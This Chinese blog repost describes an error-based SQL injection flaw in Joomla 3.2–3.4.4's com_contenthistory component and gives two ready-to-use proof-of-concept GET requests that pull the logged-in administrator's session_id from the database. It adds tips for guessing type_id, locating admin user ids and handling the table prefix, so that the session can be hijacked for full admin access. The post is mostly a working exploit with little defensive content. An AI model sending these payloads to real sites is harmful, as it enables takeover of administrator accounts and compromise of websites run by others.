IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Joomla 3.2 – 3.4.4 无限制SQL注入漏洞

    没穿底裤发表于 2015-10-23 16:59:47
    love 0

    作者:

    0x0d

     

    看到一个通杀 Joolma 3.2 到 3.4.4 版本的注入漏洞,可获得管理员权限,详细分析见此 Joomla SQL Injection Vulnerability Exploit Results in Full Administrative Access。

    注入点存在于 /administrator/components/com_contenthistory/models/history.php。原因是 populateState 函数没有对 list.select 进行过滤。

    POC 如下:

    GET index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session where userid=30 LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

     

    其中 item_id 是文章的编号,type_id 是该文章对应的分类 id。userid 是管理员账户 id。
    由下图可以看出文章编号直接可以在 URL 里找到,对应的 type_id 一般不会超过 20,所以暴力破解即可。
    2015102316223141415[1]

    而管理员用户 id 可以在 jml_user_usergroup_map 里找到:

    2015102318064894937[1]

    group_id 对应的角色:

    image3.png

    执行 POC 以后报错:
    (报错原理可参考 lijiejie 的一篇文章:https://www.lijiejie.com/mysql-injection-error-based-duplicate-entry/)
    2015102316225730887[1]

    查看管理员的 session_id:

    2015102318394835098[1]

    此时 jml_session 表中的数据:

    image6.png

    注意报错注入出的 session_id 最后多了一个 1 。
    Tips: 原文章中没有说明表前缀的处理方法,其实把 jml_ 换成 %23_ 即可(原文评论中有提到)。所以更通用的直接获取登录管理员 session_id 的 POC 为:

    GET 
    index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=73&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM %23__session where userid=(select user_id from %23__user_usergroup_map where group_id=8 limit 1)  limit 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

     



沪ICP备19023445号-2号
友情链接